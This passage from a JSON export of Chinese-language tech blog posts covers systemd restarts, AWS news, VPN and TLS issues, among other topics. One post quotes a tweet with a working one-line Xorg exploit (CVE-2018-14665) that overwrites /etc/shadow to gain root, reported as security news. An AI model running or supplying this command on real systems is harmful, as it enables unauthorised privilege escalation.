    "body": "以前確保 daemon 掛掉時會重新跑起來大概有幾個方式，像是用 <a href=\"https://mmonit.com/monit/\">Monit</a> 顧，然後再用 <code>/etc/inittab</code> 確保 Monit 不會掛掉...\r\n\r\n在 <a href=\"https://freedesktop.org/wiki/Software/systemd/\">systemd</a> 的年代，因為 systemd 已經被保護起來，而重跑這個功能在 systemd 裡就有支援，不需要用 Monit 這類程式了。\r\n\r\n在 <a href=\"https://www.freedesktop.org/software/systemd/man/systemd.service.html\">manual</a> 裡搜尋 <code>restart</code> 可以看到幾個參數：\r\n\r\n<ul>\r\n\t<li><code>Restart=</code></li>\r\n\t<li><code>RestartForceExitStatus=</code></li>\r\n\t<li><code>RestartPreventExitStatus=</code></li>\r\n\t<li><code>RestartSec=</code></li>\r\n</ul>\r\n\r\n這次是遇到 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 的 FastCGI daemon 每隔幾天會自己死掉，導致 <a href=\"https://nginx.org/\">nginx</a> 丟出 503 然後被 <a href=\"https://uptimerobot.com/\">UptimeRobot</a> 偵測到而拋出警告。\r\n\r\n但這個問題只有在一台伺服器會發生，而 log 裡也沒翻到可以繼續 debug 的錯誤訊息，試著猜測一些情境去搜尋引擎找也沒翻到... 就決定先 workaround 來處理，然後就發現現在已經不太需要用 Monit 來處理這個問題了。",
    "title": "當 Daemon 死掉時自動重新跑起..."
  },
  {
    "id": "8538",
    "body": "再弄 <a href=\"https://wordpress.org/\">WordPress</a> 的 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 時發現他也可以共存其他 2FA 機制 (也就是可以挑一種方式當 2FA，像是 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a>)，就開始重設 OTP...\r\n\r\n結果手賤把 <a href=\"https://en.wikipedia.org/wiki/FreeOTP\">FreeOTP</a> 的 <code>&amp;#039;</code> 改成 <code>'</code> (因為看起來不順眼 XD)，就遇到「<a href=\"https://github.com/freeotp/freeotp-ios/issues/100\">FreeOTP stuck crashing at startup if name contains certain characters · Issue #100 · freeotp/freeotp-ios</a>」這個問題，結果 FreeOTP 直接閃退開不起來，而且沒有 workaround 的方式存取其他的 OTP token...\r\n\r\n找了一下替代方案，目前先用「<a href=\"https://github.com/mattrubin/Authenticator\">mattrubin/Authenticator: Two-Factor Authentication Client for iOS</a>」這套了，要注意有同名而且界面很像的 app 在上面，要確認作者名稱...\r\n\r\n然後接下來就是一連串 reset 2FA token 的步驟了，有些當初沒有留 backup code 超麻煩 @_@",
    "title": "把 FreeOTP 搞掛了，只好換一套..."
  },
  {
    "id": "8539",
    "body": "先前提到的「<a href=\"https://blog.gslin.org/archives/2018/07/18/8410/aws-%E6%8F%90%E4%BE%9B%E8%87%AA%E5%B8%B6-ip-%E5%88%B0-aws-%E4%B8%8A%E7%9A%84%E6%9C%8D%E5%8B%99%E4%BA%86/\">AWS 提供自帶 IP 到 AWS 上的服務了...</a>」只能在 <code>us-west-2</code> 上使用 (需要申請)，現在則是開放一般使用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/10/announcing-the-general-availability-of-bring-your-own-ip-for-amazon-virtual-private-cloud/\">Announcing the general availability of Bring Your Own IP for Amazon Virtual Private Cloud</a>」。\r\n\r\n而且範圍也增加了，除了本來測試的區域 <code>us-west-2</code>，現在 <code>us-east-1</code> 與 <code>us-east-2</code> 都可以用：\r\n\r\n<blockquote>This feature is now publicly available in US East (N. Virginia), US East (Ohio) and US West (Oregon) AWS Regions.</blockquote>\r\n\r\n費用方面也都不需要額外費用：\r\n\r\n<blockquote>There is no additional charge to use the BYOIP feature. Also, you don’t have to pay for Elastic IP addresses that you create from BYOIP address prefixes.</blockquote>\r\n\r\n從文件上看起來目前只支援 IPv4，每段最少需要 /24，而且每個 region 最多五個 range，另外保留使用權 (如果 IP 網段之前有很多不良記錄時 AWS 可以拒絕)。",
    "title": "AWS 的 BYOIP 服務開放一般使用了..."
  },
  {
    "id": "8541",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了短期 RI 選項：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/10/Amazon-EC2-now-offers-On-Demand-Capacity-Reservations/\">Amazon EC2 now offers On-Demand Capacity Reservations</a>」。\r\n\r\n最早的 RI 設計包括了「保證一定開的起來」與「折扣」，但後來 <a href=\"https://aws.amazon.com/\">AWS</a> 大概是發現大家都是要「折扣」而不是保證開的起來，所以就開放了只有 discount 的部份。把原來有保證一定開的起來的部份變成 Zonal Reserved Instances。\r\n\r\n不過 Zonal Reserved Instances 最少要一年 (有對應的折扣)，這次規劃的 On-Demand Capacity Reservations 可以隨時取消，但是就沒折扣了：\r\n\r\n<blockquote>Previously in order to achieve a capacity reservation, customers had to leverage Zonal Reserved Instances and commit to that capacity for a minimum of one year. Now with On-Demand Capacity Reservations, customers can reserve the exact capacity they need, in the location they need, and can keep it only for as long as they need it.</blockquote>\r\n\r\n不過費用計算上會組合已經買的 Regional RI，如果沒被用掉的話還是可以將對應的折扣拿進來用：\r\n\r\n<blockquote>If you have Regional RI discounts, they will automatically apply to any matching Capacity Reservation. This gives you the flexibility to selectively add capacity reservations and still get the Regional RI discounts for that usage.</blockquote>\r\n\r\n算是對需要「保證開的起來」的單位提供短期的彈性，實際上後面應該是去 spot instance 那邊踢一些機器出來？XD",
    "title": "EC2 提供短期 RI 選項..."
  },
  {
    "id": "8542",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的 security issue，好久沒在這麼普及的軟體上看到這種 bug 了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\"><a href=\"https://twitter.com/hashtag/CVE?src=hash&amp;ref_src=twsrc%5Etfw\">#CVE</a>-2018-14665 - a LPE exploit via <a href=\"https://t.co/eax3fvaAjE\">https://t.co/eax3fvaAjE</a> fits in a tweet<br><br>cd /etc; Xorg -fp &quot;root::16431:0:99999:7:::&quot;  -logfile shadow  :1;su<br><br>Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.</p>&mdash; Hacker Fantastic (@hackerfantastic) <a href=\"https://twitter.com/hackerfantastic/status/1055517801224396800?ref_src=twsrc%5Etfw\">October 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14665\">CVE - CVE-2018-14665</a> 的說明裡面有提到 1.20.3 前的版本都有中，但沒講到從哪個版本開始，看起來是全系列...？\r\n\r\n<blockquote>A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.</blockquote>\r\n\r\n這一臉 orz...",
    "title": "CVE-2018-14665：setuid 複寫檔案的 security issue..."
  },
  {
    "id": "8544",
    "body": "最近偏好用 <a href=\"https://ocserv.gitlab.io/www/\">ocserv</a> 來跑 VPN。在連上 full-route VPN 後測試發現速度偏慢，發現是沒有走 UDP 的 DTLS，只有 TCP 的 TLS 流量... 找了一下發現用有人遇過了，可以用 workaround 解：「<a href=\"https://www.linuxquestions.org/questions/linux-networking-3/openconnect-not-working-with-dtls-4175618808/\">OpenConnect not working with DTLS</a>」。\r\n\r\n作者發現是 <code>ocserv.socket</code> 有問題，打算整個抽開。方法是註解掉 <code>/lib/systemd/system/ocserv.service</code> 裡的 <code>Requires=ocserv.socket</code> 與 <code>Also=ocserv.socket</code>，然後在 systemd 裡一起處理：\r\n\r\n<pre>sudo systemctl stop ocserv\r\nsudo systemctl disable ocserv.service\r\nsudo systemctl disable ocserv.socket\r\nsudo systemctl daemon-reload\r\nsudo systemctl start ocserv\r\nsudo systemctl enable ocserv</pre>\r\n\r\n重新連上去後跑 tcpdump 可以看到是 UDP 了，測速也可以看出來快不少...",
    "title": "解 ocserv 因為沒有使用 DTLS 而導致速度很慢的問題..."
  },
  {
    "id": "8546",
    "body": "<a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 8.0 推出 RC 版了：「<a href=\"https://www.percona.com/blog/2018/10/31/release-candidate-for-percona-server-8-0-12-2rc1-is-available/\">Release Candidate for Percona Server 8.0.12-2rc1 Is Available</a>」。\r\n\r\n差不多一個月前才推出 Alpha (可以參考「<a href=\"https://blog.gslin.org/archives/2018/09/28/8512/percona-%E8%A6%81%E6%8E%A8%E5%87%BA-percona-server-8-0-%E4%BA%86/\">Percona 要推出 Percona Server 8.0 了...</a>」)，現在跳過中間的 Beta 直接推出 RC...\r\n\r\n效能上應該還是吃 MySQL 8.0 的改進，Percona Server 主要是一些 patch... 這樣正式版應該也快了，不知道今年有沒有機會推出？",
    "title": "Percona Server 8.0 推出 RC 版本了..."
  },
  {
    "id": "8547",
    "body": "<a href=\"https://www.flickr.com/\">Flickr</a> 在今年四月的時候放出消息被 <a href=\"https://www.smugmug.com/\">SmugMug</a> 收購後 (參考先前的文章「<a href=\"https://blog.gslin.org/archives/2018/04/21/8279/smugmug-%E8%B2%B7%E4%B8%8B-flickr/\">SmugMug 買下 Flickr</a>」)，過了半年總算是有新的動作了，跟 SmugMug 完全走使用者付費的想法類似，這次將免費帳號的容量大幅限縮，從本來的 1TB 空間變成 1000 張照片，在 2019/01/08 將會生效：「<a href=\"https://blog.flickr.net/en/2018/11/01/changing-flickr-free-accounts-1000-photos/\">Why we’re changing Flickr free accounts</a>」。\r\n\r\n<blockquote>Beginning January 8, 2019, Free accounts will be limited to 1,000 photos and videos. If you need unlimited storage, you’ll need to upgrade to Flickr Pro.</blockquote>\r\n\r\n現在點進去看 Flickr Pro 的費用是 USD$35/year。我在 2005 年以 USD$59.95/year 買過當時的 Flickr Pro... 特別有印象是因為剛好是宣佈被 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 收購的前幾天買的訂閱，在被收購後 Flickr 宣佈降價，而先前買的人直接多一年。\r\n\r\n參考當年的「<a href=\"https://web.archive.org/web/20050103015641/http://www.flickr.com:80/help.gne\">http://www.flickr.com/help.gne</a>」頁面)：\r\n\r\n<blockquote>We are currently offering an introductory Pro Account special -- Buy yourself (or a friend) an annual Pro Account for US$41.77 and save yourself around 30% from the anticipated annual price of $59.95. That's less than $3.50 a month!</blockquote>\r\n\r\n不過現在好像也用不到這個平台了... 反正都公開的資料，也許資料拉一拉丟到其他地方吧，或是想看看要怎麼放。",
    "title": "Flickr 限縮免費帳號的容量"
  },
  {
    "id": "8549",
    "body": "我 blog 的 <a href=\"https://nginx.org/\">nginx</a> 是用 <a href=\"https://twitter.com/oerdnj\">ondrej</a> 的版本，最近他把套件加上 TLSv1.3 的支援 (主要是 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.1.1 出了)，但不知道是哪個環節出問題了，現在 TLSv1.3 關不掉 XDDD\r\n\r\n而且包起來的 OpenSSL 很奇怪，不管什麼情況都會把 TLSv1.3 的三個 cipher 放進來：\r\n\r\n<pre>gslin@colo-vultr-1 [~] [17:38] openssl ciphers -v 'xxx'     \r\nTLS_AES_256_GCM_SHA384  TLSv1.3 Kx=any      Au=any  Enc=AESGCM(256) Mac=AEAD\r\nTLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any      Au=any  Enc=CHACHA20/POLY1305(256) Mac=AEAD\r\nTLS_AES_128_GCM_SHA256  TLSv1.3 Kx=any      Au=any  Enc=AESGCM(128) Mac=AEAD</pre>\r\n\r\n然後 nginx 只設 TLSv1.2 的情況下，用 SSL Labs 的網站掃還是會有 TLSv1.3：\r\n\r\n<pre>ssl_protocols TLSv1.2;</pre>\r\n\r\n然後還有遇到改了 cipher 後，跑 <code>pkill -1 nginx</code> 之後 client 端會回報沒有任何 cipher 可以用，直到跑了 <code>service nginx restart</code> 後就好的情況...\r\n\r\n建議想用的人再等一下...",
    "title": "升級 nginx 後關不掉的 TLSv1.3..."
  },
  {
    "id": "8550",
    "body": "這邊講的是 <a href=\"https://www.apple.com/safari/\">Safari</a> 這些瀏覽器看 <a href=\"https://trac.edgewall.org/\">Trac</a>，而不是講 app...\r\n\r\n這次從高雄回來，在高鐵上想說用手機看看 Trac，發現桌機版的界面是會動，但在手機上不太好用，所以找看看有什麼套件可以改善...\r\n\r\n回到家後找到 <a href=\"https://trac-hacks.org/wiki/BlueFlatTheme\">BlueFlatTheme</a> 這套 (需要透過 <a href=\"https://trac-hacks.org/wiki/ThemeEnginePlugin\">ThemeEnginePlugin</a> 啟用)，標語是「A responsive, flat, blue theme using Bootstrap」，拿官方的 screenshot 可以看出來有特地為了寬度比較窄的情況調整：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kYhNPoN.webp\" /><img src=\"https://i.gslin.com/imgur/kYhNPoN.jpg\" alt=\"\" /></picture>\r\n\r\n裝好後用手機測了一下，還是有不滿意的地方，不過改善不少了，先這樣撐著...",
    "title": "在手機上看 Trac 的套件"
  },
  {
    "id": "8551",
    "body": "在「<a href=\"http://www.sectechno.com/aws-credential-compromise-detection-detecting-credential-compromise-in-aws/\">aws-credential-compromise-detection – Detecting Credential Compromise in AWS</a>」這邊看到可以抓漏的專案 <a href=\"https://github.com/Netflix-Skunkworks/aws-credential-compromise-detection\">Netflix-Skunkworks/aws-credential-compromise-detection</a>。\r\n\r\n透過分析 <a href=\"https://aws.amazon.com/cloudtrail/\">CloudTrail</a> 記錄找出有哪些可疑的 <a href=\"https://aws.amazon.com/\">AWS</a> key 被外部使用，看起來預設值會過濾掉 Private IP range 以及 <code>100.64.0.0/10</code> (設給給 <a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">CGNAT</a> 使用的網段)。\r\n\r\n不過 <a href=\"https://github.com/Netflix-Skunkworks\">Netflix-Skunkworks</a> 的定位是什麼啊，裡面好像有不少有趣的東西...",
    "title": "Netflix 用 CloudTrail 記錄找出 AWS key 外洩的小工具"
  },
  {
    "id": "8553",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出使用了 <a href=\"https://www.amd.com/\">AMD</a> <a href=\"https://en.wikipedia.org/wiki/Epyc\">Epyc</a> 的機種，分別為 <code>m5a.*</code> 與 <code>r5a.*</code>：「<a href=\"https://aws.amazon.com/blogs/aws/new-lower-cost-amd-powered-ec2-instances/\">New Lower-Cost, AMD-Powered M5a and R5a EC2 Instances</a>」。\r\n\r\n這個系列的重點在於價位相較於 <code>m5.*</code> 與 <code>r5.*</code> 大約低了 10% 的費用：\r\n\r\n<blockquote>The newest EC2 instances are powered by custom AMD EPYC processors running at 2.5 GHz and are priced 10% lower than comparable instances.</blockquote>\r\n\r\n目前開放的區域只有五區：\r\n\r\n<blockquote>These instances are available now and you can start using them today in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Singapore) Regions in On-Demand, Spot, and Reserved Instance form.</blockquote>\r\n\r\n然後在「<a href=\"https://aws.amazon.com/ec2/pricing/on-demand/\">Amazon EC2 Pricing</a>」這頁已經可以看到價錢，但大概是某些非技術性的因素，可以發現沒有列出 ECU... 不過從沒有推出 <code>c5a.*</code> 系列大概可以猜測效能應該打不贏 <code>c5.*</code> 所以沒有打算推出對應的產品線？(不過也難說，等看看有沒有人測試出來吧...)\r\n\r\n另外文章最後提到會有 <code>t3a.*</code> 的計畫，如果價錢會再比現在的 <code>t3.*</code> 低一些的話，看起來頗值得期待的：\r\n\r\n<blockquote>PS – We are also working on T3a instances; stay tuned for more info!</blockquote>",
    "title": "AWS 推出使用 AMD CPU 的 m5a 與 r5a"
  },
  {
    "id": "8554",
    "body": "<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 推出分級收費：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/api-gateway-announces-tiered-pricing/\">Amazon API Gateway Announces Tiered Pricing</a>」。\r\n\r\n原先的費用不變，大多數的地區是超過 333M reqs/month 的部分降價了... (不過雪梨跟南非是超過 1B reqs/month，而且北卡超過 333M 的部分也只降個零頭，實際比較深的折扣還是在 1B)，333M reqs/month 這個量換算下來需要 11.1M reqs/day，平均值要 128 reqs/sec，看起來是設計給整個站都搬上去的折扣方案 (不然就是本身量就超大)。",
    "title": "Amazon API Gateway 推出分級收費 (降價)"
  },
  {
    "id": "8556",
    "body": "看到 <a href=\"https://travis-ci.com/\">Travis CI</a> 的「<a href=\"https://blog.travis-ci.com/2018-11-08-xenial-release\">Ubuntu Xenial 16.04 is available!</a>」這篇讓人痛哭流涕啊... 五年的支援期偷已經過了兩年半，總算想起來要推出了 16.04 的 image 了？還是是因為 14.04 剩不到半年？不然好像很有可能繼續撐...\r\n\r\n下一次要出 18.04 又是兩年後了嗎...",
    "title": "Travis CI 居然記得要支援 16.04 了..."
  },
  {
    "id": "8557",
    "body": "先前在『<a href=\"https://blog.gslin.org/archives/2018/09/24/8502/%E5%9C%A8-awsug-taiwan-%E4%B8%8A%E8%AC%9B%E7%9A%84%E3%80%8C%E7%94%A8-aws-codedeploy-%E8%A7%A3%E6%B1%BA%E7%A8%8B%E5%BC%8F%E4%BD%88%E7%BD%B2%E3%80%8D/\">在 AWSUG Taiwan 上講的「用 AWS CodeDeploy 解決程式佈署」</a>』這邊有分享過 <a href=\"https://aws.amazon.com/codedeploy/\">CodeDeploy</a> 在 <a href=\"http://releases.ubuntu.com/18.04/\">Ubuntu 18.04</a> 下 <code>codedeploy-agent</code> 會認為系統內建的 <a href=\"https://www.ruby-lang.org/\">ruby</a> 是 <code>codedeploy-agent</code> 不支援的版本：「<a href=\"https://github.com/aws/aws-codedeploy-agent/issues/158\">Support for ruby 2.5 (Ubuntu 18.04) · Issue #158 · aws/aws-codedeploy-agent</a>」。\r\n\r\n剛剛總算看到修正後的版本被推出去了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1sMd9zd.webp\" /><img src=\"https://i.gslin.com/imgur/1sMd9zd.jpg\" alt=\"\" /></picture>\r\n\r\n這樣就不需要自己修正惡搞了...",
    "title": "CodeDeploy 的 codedeploy-agent 總算支援 Ubuntu 18.04 的環境了..."
  },
  {
    "id": "8558",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=18407173\">Tell HN: Amazon now owns 3.0.0.0/8</a>」這邊看到 <a href=\"https://www.amazon.com/\">Amazon</a> (<a href=\"https://aws.amazon.com/\">AWS</a>？) 拿到 <code>3.0.0.0/8</code> 的使用權了，而且已經有人在 Elastic IP 拿到了：\r\n\r\n<blockquote>Apparently bought in two chunks: 3.0.0.0/9 and 3.128.0.0/9.\r\nPrevious owner was GE.\r\n\r\nAnecdotal reports across the Internet that AWS EIPs are now being assigned in that range.\r\n\r\nhttps://whois.arin.net/rest/net/NET-3-0-0-0-1.html\r\n\r\nhttps://whois.arin.net/rest/net/NET-3-128-0-0-1.html</blockquote>\r\n\r\n可以在上面提到的兩個網址確認：「<a href=\"https://whois.arin.net/rest/net/NET-3-0-0-0-1.html\">whois.arin.net/rest/net/NET-3-0-0-0-1.html</a>」、「<a href=\"https://whois.arin.net/rest/net/NET-3-128-0-0-1.html\">whois.arin.net/rest/net/NET-3-128-0-0-1.html</a>」，前半段在 2017/12/20 註冊，後半段在 2018/06/25 註冊...\r\n\r\n另外有人在下面提到 Amazon 說不定會推出 <code>3.3.3.3</code> 之類的 DNS Resolver 服務？至少先把 <code>3.3.3.0/24</code> 這段預留起來？",
    "title": "Amazon 取得了整塊 3.0.0.0/8 的使用權..."
  },
  {
    "id": "8560",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/MorteNoir1/virtualbox_e1000_0day\">VirtualBox E1000 Guest-to-Host Escape</a>」這篇，講 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 5.2 的機器上 E1000 + NAT 模式的爆破... 另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也提到了很多這樣做的背景：「<a href=\"https://news.ycombinator.com/item?id=18395855\">VirtualBox E1000 Guest-to-Host Escape | Hacker News</a>」。\r\n\r\n<a href=\"https://www.oracle.com/\">Oracle</a> 對社群的態度 (無論是 open source community 或是 security community) 都一直是社群很不爽的事情。\r\n\r\n這次爆破的發現人之前找到一個 VirtualBox 的 security bug (參考「<a href=\"https://blogs.securiteam.com/index.php/archives/3736\">SSD Advisory – VirtualBox VRDP Guest-to-Host Escape</a>」)，回報後先是回應他們在處理中，然後被發現 VirtualBox 在 5.2.18 修掉了，但是完全沒有提到安全性問題的事情。所以這次作者也懶得囉唆了，找到就 full disclosure 出來。\r\n\r\n作者給的 workaround 有兩個，優先建議暫時先用 PCnet 系列的界面，如果不行的話，至少不要用 NAT。\r\n\r\n作者發表後沒多久馬上就有 5.2.22 推出，不過看 changelog 應該是沒有修正這個問題？(或是修掉又沒提...)",
    "title": "VirtualBox 5.2 的 0day 爆破..."
  },
  {
    "id": "8561",
    "body": "從 <a href=\"https://en.wikipedia.org/wiki/CURL\">cURL</a> 作者那邊看到的，之前 HTTP-over-QUIC 的名稱實在太長，想要找個短一點的名字來用，這邊算是把命字確定下來了：「<a href=\"https://daniel.haxx.se/blog/2018/11/11/http-3/\">HTTP/3</a>」。從文章後的說明就可以看出來：\r\n\r\n<blockquote>No more confusion. HTTP/3 is the coming new HTTP version that uses QUIC for transport!</blockquote>\r\n\r\n不過這代表 HTTP/3 需要 <code>443/udp</code> 了，之後防火牆預設應該要打開...",
    "title": "HTTP-over-QUIC 將變成 HTTP/3"
  },
  {
    "id": "8562",
    "body": "幾個月前 <a href=\"https://www.facebook.com/\">Facebook</a> 把 API 拿掉了，大家都不能用 API 發文，本來想說就放掉這個平台，結果被老人家問怎麼都沒更新，因為老人家都是靠兒子的 Facebook 確認生存，看到沒更新就很擔心... XD\r\n\r\n由於 API 沒得用了，所以得自己 hack。這邊先列重點：\r\n\r\n<ul>\r\n\t<li>用 <a href=\"https://en.wikipedia.org/wiki/Chromium_(web_browser)\">chromium</a> + <a href=\"https://en.wikipedia.org/wiki/Virtual_Network_Computing\">VNC</a> 登入後，用 chromium headless + <a href=\"https://en.wikipedia.org/wiki/Selenium_(software)\">selenium</a> 發文。</li>\r\n\t<li>對於「網頁的穩定性」來說 (i.e. 常不常改版造成我的程式發文失敗)，mbasic(.facebook.com) &gt; m &gt; www。</li>\r\n</ul>\r\n\r\n比較重要的方向就是這些，其他的其實就是磨時間、踩地雷，然後把程式刻出來：「<a href=\"https://github.com/gslin/twitter2facebook\">gslin/twitter2facebook</a>」。",
    "title": "實做 Twitter 同步到 Facebook 的程式"
  },
  {
    "id": "8564",
    "body": "這篇文章批評了 <a href=\"https://medium.com/\">Medium</a> 不適合當作 Blogging Platform：「<a href=\"https://medium.com/@nikitonsky/medium-is-a-poor-choice-for-blogging-bb0048d19133\">Medium is a poor choice for blogging</a>」。\r\n\r\n文章裡提到的情況我之前也常遇到 (然後默默的點 X 關掉...)，我是還蠻建議把 <code>[*.]medium.com</code> 放到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的 javascript 禁止清單裡面，這樣畫面會乾淨很多，而且也省很多 CPU 資源...\r\n\r\n不過自訂網域的部分就沒辦法用這個方式擋了，有點可惜...",
    "title": "批評 Medium 不適合當作 Blogging Platform..."
  },
  {
    "id": "8565",
    "body": "<a href=\"https://aws.amazon.com/cloudformation/\">CloudFormation</a> 宣佈支援 Drift Detection，也就是偵測非 CloudFormation 所產生的改變：「<a href=\"https://aws.amazon.com/blogs/aws/new-cloudformation-drift-detection/\">New – CloudFormation Drift Detection</a>」。\r\n\r\n以往要修正這個問題得花不少功夫 workaround，現在可以透過 Drift Detection 解了。不過目前並不是所有資源都有提供 Drift Detection：\r\n\r\n<blockquote>We are launching with support for a core set of services, resources, and properties, with plans to add more over time. The initial list of resources spans API Gateway, Auto Scaling, CloudTrail, CloudWatch Events, CloudWatch Logs, DynamoDB, Amazon EC2, Elastic Load Balancing, IAM, AWS IoT, Lambda, Amazon RDS, Route 53, Amazon S3, Amazon SNS, Amazon SQS, and more.</blockquote>\r\n\r\n這是在 console 上偵測到改變的操作：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BS5KRVo.webp\" /><img src=\"https://i.gslin.com/imgur/BS5KRVo.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0hRKnLR.webp\" /><img src=\"https://i.gslin.com/imgur/0hRKnLR.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/r4CxsFP.webp\" /><img src=\"https://i.gslin.com/imgur/r4CxsFP.jpg\" alt=\"\" /></picture>\r\n\r\n話說隔壁棚的 <a href=\"https://www.terraform.io/\">Terraform</a> 什麼時候要支援啊... 喔不對，要賣 Enterprise 服務所以應該不太想支援...",
    "title": "CloudFormation 可以偵測手動的變更了..."
  },
  {
    "id": "8566",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/corretto/\">Amazon Corretto</a> (其中 Corretto 這個名字應該是取自 <a href=\"https://en.wikipedia.org/wiki/Caff%C3%A8_corretto\">Caffè corretto</a>，還是跟咖啡有關的字)，提供 <a href=\"https://en.wikipedia.org/wiki/OpenJDK\">OpenJDK</a> 的長期支援：「<a href=\"https://aws.amazon.com/blogs/opensource/amazon-corretto-no-cost-distribution-openjdk-long-term-support/\">Introducing Amazon Corretto, a No-Cost Distribution of OpenJDK with Long-Term Support</a>」。\r\n\r\n文章裡提到了幾個重點，第一個是目前先推出了 Corretto 8 Preview (對應到 OpenJDK 8)，而之後 GA 會推出 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 與 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 上的套件，另外也打算推出 Corretto 11 (對應到將來的 OpenJDK 11)：\r\n\r\n<blockquote>The Corretto 8 preview corresponding to OpenJDK 8 is available at this time for Amazon Linux 2, Microsoft Windows, and macOS platforms and Docker image. Preview builds can be downloaded by visiting aws.amazon.com/corretto. General Availability is planned for Q1 2019, and will also include Ubuntu and Red Hat Enterprise Linux platforms. Corretto 11 builds corresponding to Open JDK 11 on these platforms will follow with ample time for testing before April 2019.</blockquote>\r\n\r\n再來是支援期都差不多是四～五年：\r\n\r\n<blockquote>Amazon will distribute security updates to Corretto 8 at no cost until at least June, 2023, and to Corretto 11 until at least August, 2024.</blockquote>\r\n\r\n這樣在又多了一些選擇...",
    "title": "AWS 決定花力氣支援 OpenJDK (Corretto 計畫)"
  },
  {
    "id": "8568",
    "body": "看到 <a href=\"https://www.udacity.com/\">Udacity</a> 管 credential 的方式，可以用「我就是想把這些東西放到 Git 裡面管理啦」來解釋：「<a href=\"https://engineering.udacity.com/three-simple-rules-for-putting-secrets-into-git-d47b207852b9\">Three Simple Rules for Putting Secrets into Git</a>」。\r\n\r\n看了一下 Udacity 的架構，從 <code>catalog-api.udacity.com</code> 看起來應該是放在 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>us-west-2</code> 上？那麼不考慮使用 AWS 的 <a href=\"https://aws.amazon.com/kms/\">KMS</a> 是什麼？或是退一步來說，連自架的 <a href=\"https://www.vaultproject.io/\">Vault</a> 也不考慮的原因又是什麼？下面的 response 好像沒什麼人提出問題... 在不知道前提的情境下，選擇這樣的方法其實有點怪，2012 年成立的公司有這麼重的包袱嗎？\r\n\r\n先看看就好 XD",
    "title": "Udacity 管理 credential 的方式..."
  },
  {
    "id": "8569",
    "body": "這個工具好像發展一段時間了... 剛剛又再次看到「<a href=\"https://github.com/harelba/q\">harelba/q</a>」這個，可以在 command line 直接操作 csv 與 tsv 檔案的工具。\r\n\r\n官方的範例直接是放圖片，不過裡面可以看到一些簡單的操作方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uQpBDpM.webp\" /><img src=\"https://i.gslin.com/imgur/uQpBDpM.jpg\" alt=\"\" /></picture>\r\n\r\n以前沒有這種工具的時候大多就是拿 <a href=\"https://www.perl.org/\">Perl</a> 出來搭了...",
    "title": "直接對 csv 或 tsv 檔案下 SQL 指令的工具"
  },
  {
    "id": "8570",
    "body": "看到拿 <a href=\"https://en.wikipedia.org/wiki/ESP8266\">ESP8266</a> 模擬 <a href=\"https://en.wikipedia.org/wiki/IBM_Personal_Computer_XT\">PC-XT</a>，是個懷古時間：「<a href=\"https://www.hackster.io/janost/ibm-pc-xt-emulator-on-an-esp8266-42abcc\">IBM PC-XT Emulator on an ESP8266</a>」。\r\n\r\n現在小板子的 CPU 跟記憶體都比三十年前的桌機還要大了，直接在上面跑模擬器就算慢一點也已經不是問題了... 直接上麵包板接起來跑：\r\n\r\n<img src=\"https://i.gslin.com/imgur/86sqTmm.jpg\" alt=\"\" />\r\n\r\n然後也可以跑 Windows 3.0：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Evz5LSg.jpg\" alt=\"\" />\r\n\r\n純粹 hacking 的專案 XD",
    "title": "用 ESP8266 模擬 PC-XT..."
  },
  {
    "id": "8571",
